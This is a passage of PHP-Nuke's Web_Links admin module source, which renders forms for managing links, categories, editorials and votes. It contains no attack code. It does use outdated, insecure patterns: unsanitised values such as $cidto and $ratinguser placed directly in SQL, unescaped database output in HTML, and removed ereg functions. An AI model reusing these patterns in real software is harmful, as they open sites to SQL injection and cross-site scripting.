<?php

/************************************************************************/
/* PHP-NUKE: Web Portal System                                          */
/* ===========================                                          */
/*                                                                      */
/* Copyright (c) 2002 by Francisco Burzi                                */
/* http://phpnuke.org                                                   */
/*                                                                      */
/* Based on Journey Links Hack                                          */
/* Copyright (c) 2000 by James Knickelbein                              */
/* Journey Milwaukee (http://www.journeymilwaukee.com)                  */
/*                                                                      */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License.       */
/*                                                                      */
/************************************************************************/
/*         Additional security & Abstraction layer conversion           */
/*                           2003 chatserv                              */
/*      http://www.nukefixes.com -- http://www.nukeresources.com        */
/************************************************************************/

if (!eregi("admin.php", $_SERVER['PHP_SELF'])) { die ("Access Denied"); }
global $prefix, $db;
$aid = substr("$aid", 0,25);
$row = $db->sql_fetchrow($db->sql_query("SELECT radminlink, radminsuper FROM " . $prefix . "_authors WHERE aid='$aid'"));
if (($row['radminlink'] == 1) OR ($row['radminsuper'] == 1)) {

/*********************************************************/
/* Links Modified Web Links                              */
/*********************************************************/

function getparent($parentid,$title) {
    global $prefix,$db;
    $parentid = intval($parentid);
    $row = $db->sql_fetchrow($db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories where cid='$parentid'"));
	$cid = intval($row['cid']);
	$ptitle = $row['title'];
	$pparentid = intval($row['parentid']);
    $db->sql_freeresult($result);
    if ($ptitle!="") $title=$ptitle."/".$title;
    if ($pparentid!=0) {
	$title=getparent($pparentid,$title);
    }
    return $title;
}

function links() {
    global $prefix, $db;
    include ("header.php");
    GraphicAdmin();
    OpenTable();
    $ThemeSel = get_theme();
    if (file_exists("themes/$ThemeSel/images/link-logo.gif")) {
	echo "<center><a href=\"modules.php?name=Web_Links\"><img src=\"themes/$ThemeSel/images/link-logo.gif\" border=\"0\" alt=\"\"></a><br><br>";
    } else {
	echo "<center><a href=\"modules.php?name=Web_Links\"><img src=\"modules/Web_Links/images/link-logo.gif\" border=\"0\" alt=\"\"></a><br><br>";
    }
    $result = $db->sql_query("SELECT * from " . $prefix . "_links_links");
    $numrows = $db->sql_numrows($result);
    echo "<font class=\"content\">" . _THEREARE . " <b>$numrows</b> " . _LINKSINDB . "</font></center>";
    CloseTable();
    echo "<br>";
    
/* Temporarily 'homeless' links functions (to be revised in admin.php breakup) */
    $result2 = $db->sql_query("SELECT requestid,lid,cid,title,url,description,modifysubmitter from " . $prefix . "_links_modrequest where brokenlink='1'");
    $totalbrokenlinks = $db->sql_numrows($result2);
    $result3 = $db->sql_query("SELECT requestid,lid,cid,title,url,description,modifysubmitter from " . $prefix . "_links_modrequest where brokenlink='0'");
    $totalmodrequests = $db->sql_numrows($result3);
    OpenTable();
    echo "<center><font class=\"content\">[ <a href=\"admin.php?op=LinksCleanVotes\">" . _CLEANLINKSDB . "</a> | "
	."<a href=\"admin.php?op=LinksListBrokenLinks\">" . _BROKENLINKSREP . " ($totalbrokenlinks)</a> | "
	."<a href=\"admin.php?op=LinksListModRequests\">" . _LINKMODREQUEST . " ($totalmodrequests)</a> | "
	."<a href=\"admin.php?op=LinksLinkCheck\">" . _VALIDATELINKS . "</a> ]</font></center>";
    CloseTable();
    echo "<br>";

/* List Links waiting for validation */
    $result4 = $db->sql_query("SELECT lid, cid, sid, title, url, description, name, email, submitter from " . $prefix . "_links_newlink order by lid");
    $numrows = $db->sql_numrows($result4);
    if ($numrows>0) {
	OpenTable();
	echo "<center><font class=\"option\"><b>" . _LINKSWAITINGVAL . "</b></font></center><br><br>";
	while($row4 = $db->sql_fetchrow($result4)) {
	    $lid = intval($row4['lid']);
	    $cid = intval($row4['cid']);
	    $sid = intval($row4['sid']);
	    $title = stripslashes($row4['title']);
	    $url = $row4['url'];
	    $description = stripslashes($row4['description']);
	    $name = $row4['name'];
	    $email = $row4['email'];
	    $submitter = $row4['submitter'];
	    if ($submitter == "") {
		$submitter = _NONE;
	    }
    	    echo "<form action=\"admin.php\" method=\"post\">"
		."<b>" . _LINKID . ": $lid</b><br><br>"
		."" . _SUBMITTER . ":  $submitter<br>"
		."" . _PAGETITLE . ": <input type=\"text\" name=\"title\" value=\"$title\" size=\"50\" maxlength=\"100\"><br>"
		."" . _PAGEURL . ": <input type=\"text\" name=\"url\" value=\"$url\" size=\"50\" maxlength=\"100\">&nbsp;[ <a target=\"_blank\" href=\"$url\">" . _VISIT . "</a> ]<br>"
		."" . _DESCRIPTION . ": <br><textarea name=\"description\" cols=\"60\" rows=\"10\">$description</textarea><br>"
		."" . _NAME . ": <input type=\"text\" name=\"name\" size=\"20\" maxlength=\"100\" value=\"$name\">&nbsp;&nbsp;"
		."" . _EMAIL . ": <input type=\"text\" name=\"email\" size=\"20\" maxlength=\"100\" value=\"$email\"><br>";
	    echo "<input type=\"hidden\" name=\"new\" value=\"1\">";
	    echo "<input type=\"hidden\" name=\"lid\" value=\"$lid\">";
	    echo "<input type=\"hidden\" name=\"submitter\" value=\"$submitter\">";
	    echo "" . _CATEGORY . ": <select name=\"cat\">";
    $result5 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by title");
    while ($row5 = $db->sql_fetchrow($result5)) {
	$cid2 = intval($row5['cid']);
	$ctitle2 = stripslashes($row5['title']);
	$parentid2 = intval($row5['parentid']);
		if ($cid2==$cid) {
			$sel = "selected";
		} else {
			$sel = "";
		}
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\" $sel>$ctitle2</option>";
	}

	    echo "<input type=\"hidden\" name=\"submitter\" value=\"$submitter\">";
	    echo "</select><input type=\"hidden\" name=\"op\" value=\"LinksAddLink\"><input type=\"submit\" value=" . _ADD . "> [ <a href=\"admin.php?op=LinksDelNew&amp;lid=$lid\">" . _DELETE . "</a> ]</form><br><hr noshade><br>";
	}
	CloseTable();
	echo "<br>";
    } else {
    }

/* Add a New Main Category */

    OpenTable();
    echo "<form method=\"post\" action=\"admin.php\">"
	."<font class=\"option\"><b>" . _ADDMAINCATEGORY . "</b></font><br><br>"
	."" . _NAME . ": <input type=\"text\" name=\"title\" size=\"30\" maxlength=\"100\"><br>"
	."" . _DESCRIPTION . ":<br><textarea name=\"cdescription\" cols=\"60\" rows=\"10\"></textarea><br>"
	."<input type=\"hidden\" name=\"op\" value=\"LinksAddCat\">"
	."<input type=\"submit\" value=\"" . _ADD . "\"><br>"
	."</form>";
    CloseTable();
    echo "<br>";

// Add a New Sub-Category
    $result6 = $db->sql_query("SELECT * from " . $prefix . "_links_categories");
    $numrows = $db->sql_numrows($result6);
    if ($numrows>0) {
	OpenTable();
	echo "<form method=\"post\" action=\"admin.php\">"
	    ."<font class=\"option\"><b>" . _ADDSUBCATEGORY . "</b></font><br><br>"
	    ."" . _NAME . ": <input type=\"text\" name=\"title\" size=\"30\" maxlength=\"100\">&nbsp;" . _IN . "&nbsp;";
        $result7 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by parentid,title");
	echo "<select name=\"cid\">";
	while($row7 = $db->sql_fetchrow($result7)) {
	    $cid2 = intval($row7['cid']);
	    $ctitle2 = stripslashes($row7['title']);
	    $parentid2 = intval($row7['parentid']);
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\">$ctitle2</option>";
	}
	echo "</select><br>"
	."" . _DESCRIPTION . ":<br><textarea name=\"cdescription\" cols=\"60\" rows=\"10\"></textarea><br>"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksAddSubCat\">"
	    ."<input type=\"submit\" value=\"" . _ADD . "\"><br>"
	    ."</form>";
	CloseTable();
	echo "<br>";
    } else {
    }

// Add a New Link to Database
    $result8 = $db->sql_query("SELECT cid, title from " . $prefix . "_links_categories");
    $numrows = $db->sql_numrows($result8);
    if ($numrows>0) {
	OpenTable();
	echo "<form method=\"post\" action=\"admin.php\">"
	    ."<font class=\"option\"><b>" . _ADDNEWLINK . "</b></font><br><br>"
	    ."" . _PAGETITLE . ": <input type=\"text\" name=\"title\" size=\"50\" maxlength=\"100\"><br>"
	    ."" . _PAGEURL . ": <input type=\"text\" name=\"url\" size=\"50\" maxlength=\"100\" value=\"http://\"><br>";
        $result9 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by title");
	echo "" . _CATEGORY . ": <select name=\"cat\">";
	while($row9 = $db->sql_fetchrow($result9)) {
	    $cid2 = intval($row9['cid']);
	    $ctitle2 = stripslashes($row9['title']);
	    $parentid2 = intval($row9['parentid']);
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\">$ctitle2</option>";
	}
	echo "</select><br><br><br>"
	    ."" . _DESCRIPTION255 . "<br><textarea name=\"description\" cols=\"60\" rows=\"5\"></textarea><br><br><br>"
	    ."" . _NAME . ": <input type=\"text\" name=\"name\" size=\"30\" maxlength=\"60\"><br>"
	    ."" . _EMAIL . ": <input type=\"text\" name=\"email\" size=\"30\" maxlength=\"60\"><br><br>"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksAddLink\">"
    	    ."<input type=\"hidden\" name=\"new\" value=\"0\">"
	    ."<input type=\"hidden\" name=\"lid\" value=\"0\">"
	    ."<center><input type=\"submit\" value=\"" . _ADDURL . "\"><br>"
	    ."</form>";
	CloseTable();
	echo "<br>";
    } else {
    }

// Modify Category
    $result10 = $db->sql_query("SELECT * from " . $prefix . "_links_categories");
    $numrows = $db->sql_numrows($result10);
    if ($numrows>0) {
	OpenTable();
	echo "<form method=\"post\" action=\"admin.php\">"
	    ."<font class=\"option\"><b>" . _MODCATEGORY . "</b></font><br><br>";
	$result11 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by title");
	echo "" . _CATEGORY . ": <select name=\"cat\">";
	while($row11 = $db->sql_fetchrow($result11)) {
	    $cid2 = intval($row11['cid']);
	    $ctitle2 = stripslashes($row11['title']);
	    $parentid2 = intval($row11['parentid']);
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\">$ctitle2</option>";
	}
	echo "</select>"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksModCat\">"
	    ."<input type=\"submit\" value=\"" . _MODIFY . "\">"
	    ."</form>";
	CloseTable();
	echo "<br>";
    } else {
    }

// Modify Links
    $result12 = $db->sql_query("SELECT * from " . $prefix . "_links_links");
    $numrows = $db->sql_numrows($result12);
    if ($numrows>0) {
    OpenTable();
    echo "<form method=\"post\" action=\"admin.php\">"
	."<font class=\"option\"><b>" . _MODLINK . "</b><br><br>"
	."" . _LINKID . ": <input type=\"text\" name=\"lid\" size=\"12\" maxlength=\"11\">&nbsp;&nbsp;"
	."<input type=\"hidden\" name=\"op\" value=\"LinksModLink\">"
	."<input type=\"submit\" value=\"" . _MODIFY . "\">"
	."</form>";
    CloseTable();
    echo "<br>";
    } else {
    }

// Transfer Categories
    $result13 = $db->sql_query("SELECT * from " . $prefix . "_links_links");
    $numrows = $db->sql_numrows($result13);
    if ($numrows>0) {
    OpenTable();
	echo "<form method=\"post\" action=\"admin.php\">"
	    ."<font class=\"option\"><b>" . _EZTRANSFERLINKS . "</b></font><br><br>"
	    ."" . _CATEGORY . ": "
	    ."<select name=\"cidfrom\">";
        $result14 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by parentid,title");
	while($row14 = $db->sql_fetchrow($result14)) {
	    $cid2 = intval($row14['cid']);
	    $ctitle2 = stripslashes($row14['title']);
	    $parentid2 = intval($row14['parentid']);
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\">$ctitle2</option>";
	}
	echo "</select><br>"
	    ."" . _IN . "&nbsp;" . _CATEGORY . ": ";
	$result15 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by parentid,title");
	echo "<select name=\"cidto\">";
	while($row15 = $db->sql_fetchrow($result15)) {
	    $cid2 = intval($row15['cid']);
	    $ctitle2 = stripslashes($row15['title']);
	    $parentid2 = $row15['parentid'];
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\">$ctitle2</option>";
	}
	echo "</select><br>"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksTransfer\">"
	    ."<input type=\"submit\" value=\"" . _EZTRANSFER . "\"><br>"
	    ."</form>";
    CloseTable();
    echo "<br>";
    } else {
    }

    include ("footer.php");
}

function LinksTransfer($cidfrom,$cidto) {
    global $prefix, $db;
	
// begin old categories
// (uncomment lines to transfer existing datas)
/*
    $cat = explode("-", $cidfrom);
    if ($cat[1]=="") {
        $cat[1] = 0;
    }
	$db->sql_query("update " . $prefix . "_links_links set cid='$cidto', sid='0' where cid='$cat[0]' AND sid='$cat[1]'");
*/
// end old categories

// begin new categories
// (comment lines to transfer existing datas)
    $db->sql_query("update " . $prefix . "_links_links set cid=$cidto where cid='$cidfrom'");
// end new categorie
    Header("Location: admin.php?op=Links");
}

function LinksModLink($lid) {
    global $prefix, $db;
    include ("header.php");
    GraphicAdmin();
    global $anonymous;
    $lid = intval($lid);
    $result = $db->sql_query("SELECT cid, title, url, description, name, email, hits from " . $prefix . "_links_links where lid='$lid'");
    OpenTable();
    echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
    CloseTable();
    echo "<br>";
    OpenTable();
    echo "<center><font class=\"option\"><b>" . _MODLINK . "</b></font></center><br><br>";
	while($row = $db->sql_fetchrow($result)) {
	    $cid = intval($row['cid']);
	    $title = stripslashes($row['title']);
	    $url = $row['url'];
	    $description = stripslashes($row['description']);
	    $name = $row['name'];
	    $email = $row['email'];
	    $hits = intval($row['hits']);
    	echo "<form action=admin.php method=post>"
	    ."" . _LINKID . ": <b>$lid</b><br>"
	    ."" . _PAGETITLE . ": <input type=\"text\" name=\"title\" value=\"$title\" size=\"50\" maxlength=\"100\"><br>"
	    ."" . _PAGEURL . ": <input type=\"text\" name=\"url\" value=\"$url\" size=\"50\" maxlength=\"100\">&nbsp;[ <a href=\"$url\">Visit</a> ]<br>"
	    ."" . _DESCRIPTION . ":<br><textarea name=\"description\" cols=\"60\" rows=\"10\">$description</textarea><br>"
	    ."" . _NAME . ": <input type=\"text\" name=\"name\" size=\"50\" maxlength=\"100\" value=\"$name\"><br>"
	    ."" . _EMAIL . ": <input type=\"text\" name=\"email\" size=\"50\" maxlength=\"100\" value=\"$email\"><br>"
	    ."" . _HITS . ": <input type=\"text\" name=\"hits\" value=\"$hits\" size=\"12\" maxlength=\"11\"><br>";
	echo "<input type=\"hidden\" name=\"lid\" value=\"$lid\">"
	    ."" . _CATEGORY . ": <select name=\"cat\">";
	$result2 = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by title");
	while($row2 = $db->sql_fetchrow($result2)) {
	    $cid2 = intval($row2['cid']);
	    $ctitle2 = stripslashes($row2['title']);
	    $parentid2 = $row2['parentid'];
		if ($cid2==$cid) {
			$sel = "selected";
		} else {
			$sel = "";
		}
		if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
	    echo "<option value=\"$cid2\" $sel>$ctitle2</option>";
	}
    
    echo "</select>"
	."<input type=\"hidden\" name=\"op\" value=\"LinksModLinkS\">"
	."<input type=\"submit\" value=\"" . _MODIFY . "\"> [ <a href=\"admin.php?op=LinksDelLink&amp;lid=$lid\">" . _DELETE . "</a> ]</form><br>";
    CloseTable();
    echo "<br>";    
    /* Modify or Add Editorial */
	$resulted2 = $db->sql_query("SELECT adminid, editorialtimestamp, editorialtext, editorialtitle from " . $prefix . "_links_editorials where linkid='$lid'");
        $recordexist = $db->sql_numrows($resulted2);
	OpenTable();
    /* if returns 'bad query' status 0 (add editorial) */
    	if ($recordexist == 0) {
    	    echo "<center><font class=\"option\"><b>" . _ADDEDITORIAL . "</b></font></center><br><br>"
    		."<form action=\"admin.php\" method=\"post\">"
    		."<input type=\"hidden\" name=\"linkid\" value=\"$lid\">"
    		."" . _EDITORIALTITLE . ":<br><input type=\"text\" name=\"editorialtitle\" value=\"$editorialtitle\" size=\"50\" maxlength=\"100\"><br>"
    		."" . _EDITORIALTEXT . ":<br><textarea name=\"editorialtext\" cols=\"60\" rows=\"10\">$editorialtext</textarea><br>"
        	."</select><input type=\"hidden\" name=\"op\" value=\"LinksAddEditorial\"><input type=\"submit\" value=\"Add\">";
        } else {
    /* if returns 'cool' then status 1 (modify editorial) */
    		while($row3 = $db->sql_fetchrow($resulted2)) {
    		$editorialtimestamp = $row3['editorialtimestamp'];
    		$editorialtext = stripslashes($row3['editorialtext']);
    		$editorialtitle = stripslashes($row3['editorialtitle']);
    		ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})", $editorialtimestamp, $editorialtime);
		$editorialtime = strftime("%F",mktime($editorialtime[4],$editorialtime[5],$editorialtime[6],$editorialtime[2],$editorialtime[3],$editorialtime[1]));
		$date_array = explode("-", $editorialtime); 
		$timestamp = mktime(0, 0, 0, $date_array["1"], $date_array["2"], $date_array["0"]); 
       		$formatted_date = date("F j, Y", $timestamp);         	
        	echo "<center><font class=\"option\"><b>Modify Editorial</b></font></center><br><br>"
        	    ."<form action=\"admin.php\" method=\"post\">"
        	    ."" . _AUTHOR . ": $adminid<br>"
        	    ."" . _DATEWRITTEN . ": $formatted_date<br><br>"
        	    ."<input type=\"hidden\" name=\"linkid\" value=\"$lid\">"
        	    ."" . _EDITORIALTITLE . ":<br><input type=\"text\" name=\"editorialtitle\" value=\"$editorialtitle\" size=\"50\" maxlength=\"100\"><br>"
        	    ."" . _EDITORIALTEXT . ":<br><textarea name=\"editorialtext\" cols=\"60\" rows=\"10\">$editorialtext</textarea><br>"
            	    ."</select><input type=\"hidden\" name=\"op\" value=\"LinksModEditorial\"><input type=\"submit\" value=\"" . _MODIFY . "\"> [ <a href=\"admin.php?op=LinksDelEditorial&amp;linkid=$lid\">" . _DELETE . "</a> ]";
                }
    	} 
    CloseTable();
    echo "<br>";
    OpenTable();
    /* Show Comments */
    $result4 = $db->sql_query("SELECT ratingdbid, ratinguser, ratingcomments, ratingtimestamp FROM " . $prefix . "_links_votedata WHERE ratinglid = '$lid' AND ratingcomments != '' ORDER BY ratingtimestamp DESC");
    $totalcomments = $db->sql_numrows($result4);
    echo "<table valign=top width=100%>";
    echo "<tr><td colspan=7><b>Link Comments (total comments: $totalcomments)</b><br><br></td></tr>";    
    echo "<tr><td width=20 colspan=1><b>User  </b></td><td colspan=5><b>Comment  </b></td><td><b><center>Delete</center></b></td><br></tr>";
    if ($totalcomments == 0) echo "<tr><td colspan=7><center><font color=cccccc>No Comments<br></font></center></td></tr>";
    $x=0;
    $colorswitch="dddddd";
    while($row4 = $db->sql_fetchrow($result4)) {
	$ratingdbid = intval($row4['ratingdbid']);
	$ratinguser = $row4['ratinguser'];
	$ratingcomments = stripslashes($row4['ratingcomments']);
	$ratingtimestamp = $row4['ratingtimestamp'];
        ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})", $ratingtimestamp, $ratingtime);
    	$ratingtime = strftime("%F",mktime($ratingtime[4],$ratingtime[5],$ratingtime[6],$ratingtime[2],$ratingtime[3],$ratingtime[1]));
    	$date_array = explode("-", $ratingtime); 
    	$timestamp = mktime(0, 0, 0, $date_array["1"], $date_array["2"], $date_array["0"]); 
            $formatted_date = date("F j, Y", $timestamp);
            echo "<tr><td valign=top bgcolor=$colorswitch>$ratinguser</td><td valign=top colspan=5 bgcolor=$colorswitch>$ratingcomments</td><td bgcolor=$colorswitch><center><b><a href=admin.php?op=LinksDelComment&lid=$lid&rid=$ratingdbid>X</a></b></center></td><br></tr>";                       
    	$x++;
    	if ($colorswitch=="dddddd") $colorswitch="ffffff";
    		else $colorswitch="dddddd";    	
        }    

    	    
    // Show Registered Users Votes
    $result5 = $db->sql_query("SELECT ratingdbid, ratinguser, rating, ratinghostname, ratingtimestamp FROM " . $prefix . "_links_votedata WHERE ratinglid = '$lid' AND ratinguser != 'outside' AND ratinguser != '$anonymous' ORDER BY ratingtimestamp DESC");
    $totalvotes = $db->sql_numrows($result5);
    echo "<tr><td colspan=7><br><br><b>Registered User Votes (total votes: $totalvotes)</b><br><br></td></tr>";
    echo "<tr><td><b>User  </b></td><td><b>IP Address  </b></td><td><b>Rating  </b></td><td><b>User AVG Rating  </b></td><td><b>Total Ratings  </b></td><td><b>Date  </b></td></font></b><td><b><center>Delete</center></b></td><br></tr>";
    if ($totalvotes == 0) echo "<tr><td colspan=7><center><font color=cccccc>No Registered User Votes<br></font></center></td></tr>";
    $x=0;
    $colorswitch="dddddd";
    while($row5 = $db->sql_fetchrow($result5)) {
	$ratingdbid = intval($row5['ratingdbid']);
	$ratinguser = $row5['ratinguser'];
	$rating = intval($row5['rating']);
	$ratinghostname = $row5['ratinghostname'];
	$ratingtimestamp = $row5['ratingtimestamp'];
        ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})", $ratingtimestamp, $ratingtime);
    	$ratingtime = strftime("%F",mktime($ratingtime[4],$ratingtime[5],$ratingtime[6],$ratingtime[2],$ratingtime[3],$ratingtime[1]));
    	$date_array = explode("-", $ratingtime); 
    	$timestamp = mktime(0, 0, 0, $date_array["1"], $date_array["2"], $date_array["0"]); 
            $formatted_date = date("F j, Y", $timestamp); 
    	
    	//Individual user information
    	$result6 = $db->sql_query("SELECT rating FROM " . $prefix . "_links_votedata WHERE ratinguser = '$ratinguser'");
            $usertotalcomments = $db->sql_numrows($result6);
            $useravgrating = 0;
            while($row6 = $db->sql_fetchrow($result6)) $useravgrating = $useravgrating + $rating2;
            $useravgrating = $useravgrating / $usertotalcomments;
            $useravgrating = number_format($useravgrating, 1);
            echo "<tr><td bgcolor=$colorswitch>$ratinguser</td><td bgcolor=$colorswitch>$ratinghostname</td><td bgcolor=$colorswitch>$rating</td><td bgcolor=$colorswitch>$useravgrating</td><td bgcolor=$colorswitch>$usertotalcomments</td><td bgcolor=$colorswitch>$formatted_date  </font></b></td><td bgcolor=$colorswitch><center><b><a href=admin.php?op=LinksDelVote&lid=$lid&rid=$ratingdbid>X</a></b></center></td></tr><br>";
    	$x++;
    	if ($colorswitch=="dddddd") $colorswitch="ffffff";
    		else $colorswitch="dddddd";    	
        }    
        
    // Show Unregistered Users Votes
    $result7 = $db->sql_query("SELECT ratingdbid, rating, ratinghostname, ratingtimestamp FROM " . $prefix . "_links_votedata WHERE ratinglid = '$lid' AND ratinguser = '$anonymous' ORDER BY ratingtimestamp DESC");
    $totalvotes = $db->sql_numrows($result7);
    echo "<tr><td colspan=7><b><br><br>Unregistered User Votes (total votes: $totalvotes)</b><br><br></td></tr>";
    echo "<tr><td colspan=2><b>IP Address  </b></td><td colspan=3><b>Rating  </b></td><td><b>Date  </b></font></td><td><b><center>Delete</center></b></td><br></tr>";
    if ($totalvotes == 0) echo "<tr><td colspan=7><center><font color=cccccc>No Unregistered User Votes<br></font></center></td></tr>";
    $x=0;
    $colorswitch="dddddd";
    while($row7 = $db->sql_fetchrow($result7)) {
	$ratingdbid = intval($row7['ratingdbid']);
	$rating = intval($row7['rating']);
	$ratinghostname = $row7['ratinghostname'];
	$ratingtimestamp = $row7['ratingtimestamp'];
        ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})", $ratingtimestamp, $ratingtime);
    	$ratingtime = strftime("%F",mktime($ratingtime[4],$ratingtime[5],$ratingtime[6],$ratingtime[2],$ratingtime[3],$ratingtime[1]));
    	$date_array = explode("-", $ratingtime); 
    	$timestamp = mktime(0, 0, 0, $date_array["1"], $date_array["2"], $date_array["0"]); 
        $formatted_date = date("F j, Y", $timestamp); 
        echo "<td colspan=2 bgcolor=$colorswitch>$ratinghostname</td><td colspan=3 bgcolor=$colorswitch>$rating</td><td bgcolor=$colorswitch>$formatted_date  </font></b></td><td bgcolor=$colorswitch><center><b><a href=admin.php?op=LinksDelVote&lid=$lid&rid=$ratingdbid>X</a></b></center></td></tr><br>";           
    	$x++;
    	if ($colorswitch=="dddddd") $colorswitch="ffffff";
    		else $colorswitch="dddddd";    	
        }  
        
    // Show Outside Users Votes
    $result8 = $db->sql_query("SELECT ratingdbid, rating, ratinghostname, ratingtimestamp FROM " . $prefix . "_links_votedata WHERE ratinglid = '$lid' AND ratinguser = 'outside' ORDER BY ratingtimestamp DESC");
    $totalvotes = $db->sql_numrows($result8);
    echo "<tr><td colspan=7><b><br><br>Outside User Votes (total votes: $totalvotes)</b><br><br></td></tr>";
    echo "<tr><td colspan=2><b>IP Address  </b></td><td colspan=3><b>Rating  </b></td><td><b>Date  </b></td></font></b><td><b><center>Delete</center></b></td><br></tr>";
    if ($totalvotes == 0) echo "<tr><td colspan=7><center><font color=cccccc>No Votes from Outside $sitename<br></font></center></td></tr>";
    $x=0;
    $colorswitch="dddddd";
    while($row8 = $db->sql_fetchrow($result8)) {
	$ratingdbid = intval($row8['ratingdbid']);
	$rating = intval($row8['rating']);
	$ratinghostname = $row8['ratinghostname'];
	$ratingtimestamp = $row8['ratingtimestamp'];
        ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})", $ratingtimestamp, $ratingtime);
    	$ratingtime = strftime("%F",mktime($ratingtime[4],$ratingtime[5],$ratingtime[6],$ratingtime[2],$ratingtime[3],$ratingtime[1]));
    	$date_array = explode("-", $ratingtime); 
    	$timestamp = mktime(0, 0, 0, $date_array["1"], $date_array["2"], $date_array["0"]); 
        $formatted_date = date("F j, Y", $timestamp); 
        echo "<tr><td colspan=2 bgcolor=$colorswitch>$ratinghostname</td><td colspan=3 bgcolor=$colorswitch>$rating</td><td bgcolor=$colorswitch>$formatted_date  </font></b></td><td bgcolor=$colorswitch><center><b><a href=admin.php?op=LinksDelVote&lid=$lid&rid=$ratingdbid>X</a></b></center></td></tr><br>";           
    	$x++;
    	if ($colorswitch=="dddddd") $colorswitch="ffffff";
    		else $colorswitch="dddddd";
        }            

    echo "<tr><td colspan=6><br></td></tr>";	    
    echo "</table>";
    }
    echo "</form>";
    CloseTable();
    echo "<br>";
    include ("footer.php");
}

function LinksDelComment($lid, $rid) {
    global $prefix, $db;
    $rid = intval($rid);
    $lid = intval($lid);
    $db->sql_query("UPDATE " . $prefix . "_links_votedata SET ratingcomments='' WHERE ratingdbid = '$rid'");
    $db->sql_query("UPDATE " . $prefix . "_links_links SET totalcomments = (totalcomments - 1) WHERE lid = '$lid'");
    Header("Location: admin.php?op=LinksModLink&lid=$lid");
    
}

function LinksDelVote($lid, $rid) {
    global $prefix, $db;
    $rid = intval($rid);
    $lid = intval($lid);
    $db->sql_query("delete from " . $prefix . "_links_votedata where ratingdbid=$rid");
    $voteresult = $db->sql_query("SELECT rating, ratinguser, ratingcomments FROM " . $prefix . "_links_votedata WHERE ratinglid = '$lid'");
    $totalvotesDB = $db->sql_numrows($voteresult);
    include ("voteinclude.php");
    $db->sql_query("UPDATE " . $prefix . "_links_links SET linkratingsummary='$finalrating', totalvotes='$totalvotesDB', totalcomments='$truecomments' WHERE lid = '$lid'");
    Header("Location: admin.php?op=LinksModLink&lid=$lid");
}

function LinksEditBrokenLinks($lid) {
    global $prefix, $db;
    include ("header.php");
    GraphicAdmin();
	OpenTable();
	echo "<center><font class=\"option\"><b>" . _EZBROKENLINKS . "</b></font></center><br><br>";
	$row = $db->sql_fetchrow($db->sql_query("SELECT requestid, lid, cid, title, url, description, modifysubmitter from " . $prefix . "_links_modrequest where brokenlink='1' order by requestid"));
	$requestid = intval($row['requestid']);
	$lid = intval($row['lid']);
	$cid = intval($row['cid']);
	$title = stripslashes($row['title']);
	$url = $row['url'];
	$description = stripslashes($row['description']);
	$modifysubmitter = $row['modifysubmitter'];
	$row2 = $db->sql_fetchrow($db->sql_query("SELECT name,email,hits from " . $prefix . "_links_links where lid='$lid'"));
	$name = $row2['name'];
	$email = $row2['email'];
	$hits = intval($row2['hits']);
    echo "<form action=\"admin.php\" method=\"post\">"
    ."<b>" . _LINKID . ": $lid</b><br><br>"
    ."" . _SUBMITTER . ":  $modifysubmitter<br>"
    ."" . _PAGETITLE . ": <input type=\"text\" name=\"title\" value=\"$title\" size=\"50\" maxlength=\"100\"><br>"
    ."" . _PAGEURL . ": <input type=\"text\" name=\"url\" value=\"$url\" size=\"50\" maxlength=\"100\">&nbsp;[ <a target=\"_blank\" href=\"$url\">" . _VISIT . "</a> ]<br>"
    ."" . _DESCRIPTION . ": <br><textarea name=\"description\" cols=\"60\" rows=\"10\">$description</textarea><br>"
    ."" . _NAME . ": <input type=\"text\" name=\"name\" size=\"20\" maxlength=\"100\" value=\"$name\">&nbsp;&nbsp;"
    ."" . _EMAIL . ": <input type=\"text\" name=\"email\" size=\"20\" maxlength=\"100\" value=\"$email\"><br>";
    echo "<input type=\"hidden\" name=\"lid\" value=\"$lid\">";
    echo "<input type=\"hidden\" name=\"hits\" value=\"$hits\">";
    echo "" . _CATEGORY . ": <select name=\"cat\">";
    $result = $db->sql_query("SELECT cid, title, parentid from " . $prefix . "_links_categories order by title");
    while ($row = $db->sql_fetchrow($result)) {
	$cid2 = intval($row['cid']);
	$ctitle2 = $row['title'];
	$parentid2 = intval($row['parentid']);
        if ($cid2==$cid) {
        $sel = "selected";
    } else {
        $sel = "";
    }
    if ($parentid2!=0) $ctitle2=getparent($parentid2,$ctitle2);
